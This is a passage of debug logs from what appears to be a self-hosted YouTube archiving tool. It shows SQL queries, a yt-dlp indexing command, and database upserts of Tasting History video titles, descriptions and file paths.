3, ~U[2025-12-02 16:01:33Z]] 02:52:30.890 [debug] QUERY OK source="sources" db=0.1ms idle=95.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:30.891 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:30.891 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4007] 02:52:30.891 [debug] Current batch of media processed. Will check again in 1000ms 02:52:31.892 [debug] Current batch of media processed. Will check again in 1000ms 02:52:32.893 [debug] Current batch of media processed. Will check again in 1000ms 02:52:33.020 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@TastingHistory/videos --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/6a/a1/6aa1801202f64f5f35dd37e0ed45530c191e37f37c1ff9b42f4913e6c3736655.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/3d/98/3d9809f5c309b90b453636446a6398c01ad250ccc4db8ee1df32f01cf59dd77b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 02:52:33.021 [debug] Gracefully stopping file follower 02:52:33.021 [debug] QUERY OK source="sources" db=0.2ms idle=629.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:52:33.021 [debug] QUERY OK source="sources" db=0.1ms idle=630.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.023 [debug] QUERY OK source="media_items" db=1.4ms idle=630.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-24 15:01:06Z], 3] 02:52:33.880 [debug] QUERY OK source="media_items" db=856.5ms idle=632.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Brutal Life of a Medieval Butcher", "5c3f4444-f5cc-4a6c-acfd-0281550a03c7", "_iGppK9by3Y", "https://www.youtube.com/watch?v=_iGppK9by3Y", false, 1375, false, 1, "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].mp4", false, false, 3, [], 98, ~U[2026-03-24 15:01:06Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Brutal Life of a Medieval Butcher", "_iGppK9by3Y", "https://www.youtube.com/watch?v=_iGppK9by3Y", 1375, false, "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].mp4", false, 3, ~U[2026-03-24 15:01:06Z]] 02:52:33.881 [debug] QUERY OK source="sources" db=0.2ms idle=859.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.882 [debug] QUERY OK source="media_items" db=1.4ms idle=859.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-17 15:00:31Z], 3] 02:52:33.927 [debug] QUERY OK source="media_items" db=44.1ms idle=859.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Hardtack Hash from Steerage on a Victorian Ocean Liner", "04221601-9d52-42a3-b9a0-a60c026b39ed", "9SvcDeiwXrc", "https://www.youtube.com/watch?v=9SvcDeiwXrc", false, 1338, false, 2, "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].mp4", false, false, 3, [], 98, ~U[2026-03-17 15:00:31Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Hardtack Hash from Steerage on a Victorian Ocean Liner", "9SvcDeiwXrc", "https://www.youtube.com/watch?v=9SvcDeiwXrc", 1338, false, "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].mp4", false, 3, ~U[2026-03-17 15:00:31Z]] 02:52:33.927 [debug] QUERY OK source="sources" db=0.3ms idle=47.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.929 [debug] QUERY OK source="media_items" db=1.3ms idle=47.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-10 15:01:36Z], 3] 02:52:33.931 [debug] QUERY OK source="media_items" db=1.1ms idle=48.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/shepherdspie\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "205f3156-e121-434c-99af-61d5c80ec96d", "t1O1hcixZDU", "https://www.youtube.com/watch?v=t1O1hcixZDU", false, 1395, false, 3, "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].mp4", false, false, 3, [], 98, ~U[2026-03-10 15:01:36Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/shepherdspie\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "t1O1hcixZDU", "https://www.youtube.com/watch?v=t1O1hcixZDU", 1395, false, "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].mp4", false, 3, ~U[2026-03-10 15:01:36Z]] 02:52:33.931 [debug] QUERY OK source="sources" db=0.2ms idle=48.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.932 [debug] QUERY OK source="media_items" db=1.2ms idle=4.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-03 16:01:01Z], 3] 02:52:33.934 [debug] QUERY OK source="media_items" db=1.1ms idle=5.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Support the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=160210600\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=122648660\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=79389860\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5943134\n\n#tastinghistory", "Hatshepsut - The Pharaoh they tried to Erase from History", "d4602471-9d10-4b9c-b14c-ea83bf83b5a9", "g2uEeDzhn14", "https://www.youtube.com/watch?v=g2uEeDzhn14", false, 1399, false, 4, "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].mp4", false, false, 3, [], 98, ~U[2026-03-03 16:01:01Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Support the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=160210600\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=122648660\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=79389860\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5943134\n\n#tastinghistory", "Hatshepsut - The Pharaoh they tried to Erase from History", "g2uEeDzhn14", "https://www.youtube.com/watch?v=g2uEeDzhn14", 1399, false, "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].mp4", false, 3, ~U[2026-03-03 16:01:01Z]] 02:52:33.935 [debug] QUERY OK source="sources" db=0.2ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.936 [debug] QUERY OK source="media_items" db=1.1ms idle=4.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-24 16:00:34Z], 3] 02:52:33.937 [debug] QUERY OK source="media_items" db=1.1ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast/the-biographers/id1690932637?i=1000751100810\nSpotify: https://open.spotify.com/episode/1JlCmNhuBJqebLuagYs6Fa?si=FN4w__kUQHKFgaj082K4UQ\nYouTube: https://youtu.be/KeqRyJZ8H9o\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/teslasduck\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "Nikola Tesla's Weird Eating Habits", "82080371-fbf5-49ad-876a-ddf0cfb27f4a", "LpfV-0kT56o", "https://www.youtube.com/watch?v=LpfV-0kT56o", false, 1713, false, 5, "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].mp4", false, false, 3, [], 98, ~U[2026-02-24 16:00:34Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast/the-biographers/id1690932637?i=1000751100810\nSpotify: https://open.spotify.com/episode/1JlCmNhuBJqebLuagYs6Fa?si=FN4w__kUQHKFgaj082K4UQ\nYouTube: https://youtu.be/KeqRyJZ8H9o\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/teslasduck\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "Nikola Tesla's Weird Eating Habits", "LpfV-0kT56o", "https://www.youtube.com/watch?v=LpfV-0kT56o", 1713, false, "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].mp4", false, 3, ~U[2026-02-24 16:00:34Z]] 02:52:33.938 [debug] QUERY OK source="sources" db=0.2ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.939 [debug] QUERY OK source="media_items" db=1.1ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-17 16:01:05Z], 3] 02:52:33.941 [debug] QUERY OK source="media_items" db=1.5ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting 